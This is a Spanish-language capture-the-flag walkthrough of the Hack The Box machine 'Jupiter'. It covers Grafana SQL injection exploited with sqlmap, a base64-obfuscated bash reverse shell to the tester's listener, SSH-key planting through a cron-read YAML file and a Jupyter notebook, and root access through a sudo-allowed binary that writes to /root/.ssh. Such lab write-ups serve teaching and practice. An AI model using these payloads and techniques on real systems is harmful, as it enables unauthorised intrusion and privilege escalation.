Descripción

Jupiter es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Enumeración de subdominios para encontrar un panel de Grafana abierto
  • Inyección SQL en Grafana debido al uso de consultas en crudo de PostgreSQL que conducen a ejecución remota de comandos
  • Pivote de usuario al interactuar con un trabajo Cron ejecutado por otro usuario
  • Pivote de usuario al usar el Jupiter Notebook ejecutado por otro usuario
  • Escalada de Privilegios al explotar la capacidad de un binario personalizado de descargar y crear archivos

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.10.11.216.

$ ping -c 3 10.10.11.216
PING 10.10.11.216 (10.10.11.216) 56(84) bytes of data.
64 bytes from 10.10.11.216: icmp_seq=1 ttl=63 time=48.6 ms
64 bytes from 10.10.11.216: icmp_seq=2 ttl=63 time=47.4 ms
64 bytes from 10.10.11.216: icmp_seq=3 ttl=63 time=47.2 ms

--- 10.10.11.216 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.245/47.741/48.593/0.605 ms

La máquina está activa y con el TTL que iguala 63 (64 menos 1 salto), podemos asegurar que es una máquina Unix. Ahora vamos a realizar un escaneo de puertos TCP con Nmap para verificar todos los puertos abiertos.

$ sudo nmap 10.10.11.216 -sS -oN nmap_scan
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.216
Host is up (0.049s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.02 seconds

Obtenemos dos puertos abiertos: 22, y 80.

Enumeración

Luego realizamos un escaneo más avanzado, con versión del servicio y scripts.

$ nmap 10.10.11.216 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for 10.10.11.216
Host is up (0.048s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 ac:5b:be:79:2d:c9:7a:00:ed:9a:e6:2b:2d:0e:9b:32 (ECDSA)
|_  256 60:01:d7:db:92:7b:13:f0:ba:20:c6:c9:00:a7:1b:41 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://jupiter.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.32 seconds

Obtenemos dos servicios: un Secure Shell (SSH), y un Hypertext Transfer Protocol (HTTP). Como no tenemos credenciales viables para el servicio SSH, vamos a movernos al servicio HTTP. Añadimos el dominio jupiter.htb al archivo /etc/hosts.

$ echo '10.10.11.216 jupiter.htb' | sudo tee -a /etc/hosts

Encontramos una página web sobre Jupiter, una empresa que ofrece servicios de vistas astronómicas. No encontramos nada de valor en la página, enumeramos los subdominios.

$ gobuster vhost -u jupiter.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -o vhost_enumeration -r -t 50
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://jupiter.htb
[+] Method:                    GET
[+] Threads:                   50
[+] Wordlist:                  /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
kiosk.jupiter.htb Status: 200 [Size: 34390]

Encontramos un subdominio, kiosk, lo añadimos al archivo /etc/hosts.

$ echo '10.10.11.216 kiosk.jupiter.htb' | sudo tee -a /etc/hosts

Encontramos en este subdominio un dashboard de Grafana con información sobre las lunas. Al hacer clic en el icono Help enumeramos que la versión de Grafana utilizada es v9.5.2 (cfcea75916). Existen vulnerabilidades conocidas para esta versión. Movemos a enumerar las diferentes solicitudes HTTP que la aplicación está realizando al backend. Encontramos que se están realizando solicitudes HTTP POST hacia el punto final /api/ds/query con el siguiente contenido de ejemplo.

{"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  name as \"Name\", \n  parent as \"Parent Planet\", \n  meaning as \"Name Meaning\" \nfrom \n  moons \nwhere \n  parent = 'Saturn' \norder by \n  name desc;","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":611}],....}

Explotación

Está realizando una consulta SQL en bruto a una base de datos PostgreSQL. Como consulta en bruto podría ser inyectable. Exportamos la solicitud capturada con Burp Suite, y verificamos con la herramienta sqlmap si la consulta es vulnerable a Inyección SQL.

$ sqlmap -r request
...
[WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON rawSql' might not be injectable
...
[INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
...
[INFO] (custom) POST parameter 'JSON rawSql' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
...
sqlmap identified the following injection point(s) with a total of 268 HTTP(s) requests:
---
Parameter: JSON rawSql ((custom) POST)
    Type: stacked queries
    Title: PostgreSQL > 8.1 stacked queries (comment)
    Payload: {"queries":[{"refId":"A","datasource":{"type":"postgres","uid":"YItSLg-Vz"},"rawSql":"select \n  name as \"Name\", \n  parent as \"Parent Planet\", \n  meaning as \"Name Meaning\" \nfrom \n  moons \nwhere \n  parent = 'Saturn' \norder by \n  name desc;;SELECT PG_SLEEP(5)--","format":"table","datasourceId":1,"intervalMs":60000,"maxDataPoints":611}],...}
---

La aplicación es vulnerable, por lo tanto tenemos acceso completo a la base de datos. Comprobemos el usuario que ha iniciado sesión.

$ sqlmap -r request --current-user
...
current user: 'grafana_viewer'
...

El usuario que ha iniciado sesión es grafana_viewer. Encontramos en HackTricks que solo los superusuarios tienen el permiso de obtener la ejecución de comandos remotos. Comprobemos si nuestro usuario tiene los permisos con la consulta SELECT usesuper FROM pg_catalog.pg_user WHERE usename = 'grafana_viewer';

$ sqlmap -r request --sql-query "SELECT usesuper FROM pg_catalog.pg_user WHERE usename = 'grafana_viewer';"
...
SELECT usesuper FROM pg_catalog.pg_user WHERE usename = 'grafana_viewer': 'true'
...

Recibimos el valor true, por lo tanto grafana_viewer es un superusuario de PostgreSQL. Podemos abrir una pseudo-terminal con sqlmap utilizando el parámetro --os-shell.

$ sqlmap -r request --os-shell
command standard output: 'uid=114(postgres) gid=120(postgres) groups=120(postgres),119(ssl-cert)'

Podemos ejecutar comandos como el usuario postgres. Iniciamos un puerto TCP en escucha para recibir una terminal inversa.

$ nc -nvlp 1234

Ejecutemos un comando para desplegar la terminal inversa.

os-shell> echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xNi8xMjM0IDA+JjE=|base64 -d|bash

Recibimos la terminal, la actualizamos.

$ nc -nvlp 1234                                        
listening on [any] 1234 ...
connect to [10.10.14.16] from (UNKNOWN) [10.10.11.216] 50828
bash: cannot set terminal process group (2416): Inappropriate ioctl for device
bash: no job control in this shell
postgres@jupiter:/var/lib/postgresql/14/main$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
postgres@jupiter:/var/lib/postgresql/14/main$ ^Z
$ stty raw -echo; fg
$ reset xterm
postgres@jupiter:/var/lib/postgresql/14/main$ export SHELL=bash; export TERM=xterm; stty rows 48 columns 156

Post-Explotación

Encontramos usuarios de consola en el sistema: rootjuno y jovian

postgres@jupiter:/var/lib/postgresql/14/main$ grep bash /etc/passwd 
root:x:0:0:root:/root:/bin/bash
juno:x:1000:1000:juno:/home/juno:/bin/bash
postgres:x:114:120:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
jovian:x:1001:1002:,,,:/home/jovian:/bin/bash

Vamos a encontrar archivos escribibles por el usuario postgres.

$ find / -writable 2> /dev/null

Encontramos un archivo inusual escribible por nuestro usuario, /dev/shm/network-simulation.yml, comprobémoslo.

postgres@jupiter:/var/lib/postgresql/14/main$ cat /dev/shm/network-simulation.yml
general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -m http.server 80
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

Parece ser un script que inicia un servidor HTTP en Python si se ejecuta como servidor, y ejecuta un comando curl si se ejecuta como cliente para simular conexiones de red. Este archivo parece ser utilizado por un proceso. Comprobemos los procesos que se ejecutan en intervalos de tiempo fijos, como los trabajos de Cron.

postgres@jupiter:/var/lib/postgresql/14/main$ mktemp -d
/tmp/tmp.rkqNTXeOiq
postgres@jupiter:/var/lib/postgresql/14/main$ cd /tmp/tmp.rkqNTXeOiq
postgres@jupiter:/tmp/tmp.rkqNTXeOiq$ wget http://10.10.14.16/pspy64
postgres@jupiter:/tmp/tmp.rkqNTXeOiq$ chmod +x pspy64
postgres@jupiter:/tmp/tmp.rkqNTXeOiq$ ./pspy64
...
CMD: UID=1000  PID=3018   |

CMD: UID=1000  PID=3019   | /bin/bash /home/juno/shadow-simulation.sh

CMD: UID=1000  PID=3020   |

CMD: UID=1000  PID=3021   | /home/juno/.local/bin/shadow /dev/shm/network-simulation.yml

CMD: UID=1000  PID=3024   | sh -c lscpu --online --parse=CPU,CORE,SOCKET,NODE

CMD: UID=1000  PID=3025   | lscpu --online --parse=CPU,CORE,SOCKET,NODE

CMD: UID=1000  PID=3030   | /usr/bin/python3 -m http.server 80

CMD: UID=1000  PID=3031   |

CMD: UID=1000  PID=3033   | /usr/bin/curl -s server

CMD: UID=1000  PID=3035   | /usr/bin/curl -s server

CMD: UID=1000  PID=3040   | cp -a /home/juno/shadow/examples/http-server/network-simulation.yml /dev/shm/

Encontramos que el comando shadow-simulation.sh está siendo ejecutado por el usuario con 1000 UID, juno. Y los comandos que vimos anteriormente están siendo ejecutados. Vamos a modificar el archivo network-simulation.yml para que el usuario juno agregue una clave pública SSH a su archivo authorized_keys. Este es el archivo .yml modificado:

general:
  # stop after 10 simulated seconds
  stop_time: 10s
  # old versions of cURL use a busy loop, so to avoid spinning in this busy
  # loop indefinitely, we add a system call latency to advance the simulated
  # time when running non-blocking system calls
  model_unblocked_syscall_latency: true

network:
  graph:
    # use a built-in network graph containing
    # a single vertex with a bandwidth of 1 Gbit
    type: 1_gbit_switch

hosts:
  # a host with the hostname 'server'
  server:
    network_node_id: 0
    processes:
    - path: /usr/bin/python3
      args: -c "open('/home/juno/.ssh/authorized_keys', 'w').write('ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDCrk8EjA0oJs8qOSSnwkxpYib/OSs9YWIipXVmRcFsWiBVmIq1XlX27c/6RdUFwxEqKnO8MCLY/ZhVIzhFpQ7BV8mYOtlKd79csSO0zCbD4HSvAVddpA2Y9skiTMtDwNHOEJ2qAVqWOgRfQMWaSXZ67S9G9xcMc8CEnK5LPZMuVw== user@sys\n')"
      start_time: 3s
  # three hosts with hostnames 'client1', 'client2', and 'client3'
  client:
    network_node_id: 0
    quantity: 3
    processes:
    - path: /usr/bin/curl
      args: -s server
      start_time: 5s

Después de unos segundos, el comando se ejecutará y podremos iniciar sesión utilizando el protocolo SSH con la cuenta juno y la clave privada SSH.

$ ssh -i id_rsa juno@jupiter.htb
juno@jupiter:~$ id
uid=1000(juno) gid=1000(juno) groups=1000(juno),1001(science)

Encontramos que el usuario juno pertenece al grupo science. Comprobemos los archivos propiedad de este grupo.

juno@jupiter:~$ find / -group science 2> /dev/null
/opt/solar-flares
/opt/solar-flares/flares.csv
/opt/solar-flares/xflares.csv
/opt/solar-flares/map.jpg
/opt/solar-flares/start.sh
/opt/solar-flares/logs
/opt/solar-flares/logs/jupyter-2023-03-10-25.log
/opt/solar-flares/logs/jupyter-2023-03-08-37.log
/opt/solar-flares/logs/jupyter-2023-03-08-38.log
/opt/solar-flares/logs/jupyter-2023-03-08-36.log
/opt/solar-flares/logs/jupyter-2023-03-09-11.log
/opt/solar-flares/logs/jupyter-2023-03-09-24.log
/opt/solar-flares/logs/jupyter-2023-03-08-14.log
/opt/solar-flares/logs/jupyter-2023-03-09-59.log
/opt/solar-flares/flares.html
/opt/solar-flares/cflares.csv
/opt/solar-flares/flares.ipynb
/opt/solar-flares/.ipynb_checkpoints
/opt/solar-flares/mflares.csv

Encontramos los archivos dentro de la carpeta /opt/solar-flares/. En la carpeta logs encontramos el resultado de la ejecución de Jupyter Notebook, utilizado para ejecutar código Python.

juno@jupiter:~$ cat /opt/solar-flares/logs/jupyter-2023-03-10-25.log
[W 17:25:41.572 NotebookApp] Terminals not available (error was No module named 'terminado')
[I 17:25:41.588 NotebookApp] Serving notebooks from local directory: /opt/solar-flares
[I 17:25:41.588 NotebookApp] Jupyter Notebook 6.5.3 is running at:
[I 17:25:41.588 NotebookApp] http://localhost:8888/?token=ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b
[I 17:25:41.588 NotebookApp]  or http://127.0.0.1:8888/?token=ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b
[I 17:25:41.588 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
[W 17:25:41.597 NotebookApp] No web browser found: could not locate runnable browser.
[C 17:25:41.597 NotebookApp] 
    
    To access the notebook, open this file in a browser:
        file:///home/jovian/.local/share/jupyter/runtime/nbserver-945-open.html
    Or copy and paste one of these URLs:
        http://localhost:8888/?token=ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b
     or http://127.0.0.1:8888/?token=ff0e0d45e2c953a0e942abc9008b03d728cf989ad9f93f9b
[C 17:37:07.097 NotebookApp] received signal 15, stopping
[I 17:37:07.097 NotebookApp] Shutting down 0 kernels

Encontramos que ahora la aplicación está corriendo en el puerto 8888:

uno@jupiter:~$ ss -tulnp
Netid          State           Recv-Q          Send-Q                    Local Address:Port                     Peer Address:Port          Process          
...
tcp            LISTEN          0               128                           127.0.0.1:8888                          0.0.0.0:*                              
...

Hacemos un una redirección del puerto y accedemos a la aplicación.

$ ssh -i id_rsa -N -L 8888:127.0.0.1:8888 juno@jupiter.htb

Encontramos que la aplicación nos está pidiendo un token el cual se encuentra en el archivo de log más reciente. Ahora tenemos acceso a la interfaz de Jupyter Notebook. Podemos crear un nuevo cuaderno y desencadenar la ejecución de comandos ya que el usuario está ejecutando la aplicación. Usaremos la opción Python 3 (ipykernel). Podemos usar el siguiente código para verificar al usuario que está ejecutando el cuaderno.

import subprocess 
print(subprocess.run(['id'], capture_output=True, text=True).stdout)

uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)

Obtenemos como resultado jovian, lo que significa que podemos ejecutar comandos como el usuario jovian. Utilicemos la técnica de SSH que usamos antes con el siguiente código en el Jupyter Notebook.

import os

os.mkdir('/home/jovian/.ssh/')
open('/home/jovian/.ssh/authorized_keys', 'w').write('ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQDCrk8EjA0oJs8qOSSnwkxpYib/OSs9YWIipXVmRcFsWiBVmIq1XlX27c/6RdUFwxEqKnO8MCLY/ZhVIzhFpQ7BV8mYOtlKd79csSO0zCbD4HSvAVddpA2Y9skiTMtDwNHOEJ2qAVqWOgRfQMWaSXZ67S9G9xcMc8CEnK5LPZMuVw== user@sys\n')

Ahora podemos abrir una sesión SSH como el usuario jovian.

$ ssh -i id_rsa jovian@jupiter.htb
jovian@jupiter:~$ id
uid=1001(jovian) gid=1002(jovian) groups=1002(jovian),27(sudo),1001(science)

Encontramos que el usuario jovian solo puede ejecutar un comando como usuario root: el binario sattrack.

jovian@jupiter:~$ sudo -l
Matching Defaults entries for jovian on jupiter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jovian may run the following commands on jupiter:
    (ALL) NOPASSWD: /usr/local/bin/sattrack

jovian@jupiter:~$ file /usr/local/bin/sattrack
/usr/local/bin/sattrack: ELF 64-bit LSB pie executable, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c68bedeeb5dd99903454a774db56a7a533ce7ff4, for GNU/Linux 3.2.0, not stripped

Encontramos que necesita un archivo de configuración. Buscamos archivos/directorios relacionados y encontramos la carpeta /usr/local/share/sattrack y su archivo config.json.

jovian@jupiter:~$ sudo /usr/local/bin/sattrack
Satellite Tracking System
Configuration file has not been found. Please try again!
jovian@jupiter:~$ find / -name *sattrack* 2> /dev/null
/usr/local/share/sattrack
/usr/local/bin/sattrack
jovian@jupiter:~$ ls -l /usr/local/share/sattrack
total 15400
-rw-r--r-- 1 root root      610 Mar  8  2023 config.json
-rw-r--r-- 1 root root 15451549 Mar  8  2023 earth.png
-rw-r--r-- 1 root root   308117 Mar  8  2023 map.json
jovian@jupiter:/tmp/tmp.0m51jKGEKm$ strings /usr/local/bin/sattrack | grep config
/tmp/config.json

Parece que el binario está buscando el archivo /tmp/config.json. Copiaremos el archivo y ejecutaremos el binario con el archivo de configuración.

jovian@jupiter:~$ mktemp -d
/tmp/tmp.0m51jKGEKm
jovian@jupiter:~$ cd /tmp/tmp.0m51jKGEKm
jovian@jupiter:~$ cp /usr/local/share/sattrack/config.json /tmp
jovian@jupiter:~$ sudo sattrack
Satellite Tracking System
tleroot does not exist, creating it: /tmp/tle/
Get:0 http://celestrak.org/NORAD/elements/weather.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/noaa.txt
Could not resolve host: celestrak.org
Get:0 http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle
Could not resolve host: celestrak.org
Satellites loaded
No sats

Encontramos que el programa está intentando recuperar datos TLE de satélites de diferentes fuentes web, pero no puede descargarse debido a la falta de acceso a internet. Comprobemos el archivo de configuración.

jovian@jupiter:~$ cat /tmp/config.json 
{
        "tleroot": "/tmp/tle/",
        "tlefile": "weather.txt",
        "mapfile": "/usr/local/share/sattrack/map.json",
        "texturefile": "/usr/local/share/sattrack/earth.png",

        "tlesources": [
                "http://celestrak.org/NORAD/elements/weather.txt",
                "http://celestrak.org/NORAD/elements/noaa.txt",
                "http://celestrak.org/NORAD/elements/gp.php?GROUP=starlink&FORMAT=tle"
        ],

        "updatePerdiod": 1000,
...

Encontramos las URLs de los archivos a descargarse en el array tlesources. Encontramos un parámetro interesante, tleroot, ya que parece ser la ruta de descarga del archivo anterior. Podemos modificar la variable tleroot al directorio /root/.ssh/ para mover la clave pública SSH que generamos previamente especificando los archivos file:///home/jovian/.ssh/authorized_keys como una URL. El archivo config.json será el siguiente:

{
        "tleroot": "/root/.ssh/",
        "tlefile": "weather.txt",
        "mapfile": "/usr/local/share/sattrack/map.json",
        "texturefile": "/usr/local/share/sattrack/earth.png",

        "tlesources": [
                "file:///home/jovian/.ssh/authorized_keys"
        ],

        "updatePerdiod": 1000,

        "station": {
                "name": "LORCA",
                "lat": 37.6725,
                "lon": -1.5863,
                "hgt": 335.0
        },

        "show": [
        ],

        "columns": [
                "name",
                "azel",
                "dis",
                "geo",
                "tab",
                "pos",
                "vel"
        ]
}

Luego ejecutamos el comando para desencadenar la vulnerabilidad.

jovian@jupiter:~$ sudo sattrack 
Satellite Tracking System
Get:0 file:///home/jovian/.ssh/authorized_keys
tlefile is not a valid file

Hay un error pero el archivo ha sido copiado y podemos ejecutar una sesión SSH como el usuario root.

$ ssh -i id_rsa root@jupiter.htb
...
root@jupiter:~# id
uid=0(root) gid=0(root) groups=0(root)

Flags

En la terminal root podemos recuperar las banderas user.txt y root.txt.

root@jupiter:~# cat /home/juno/user.txt 
<REDACTED>
root@jupiter:~# cat /root/root.txt 
<REDACTED>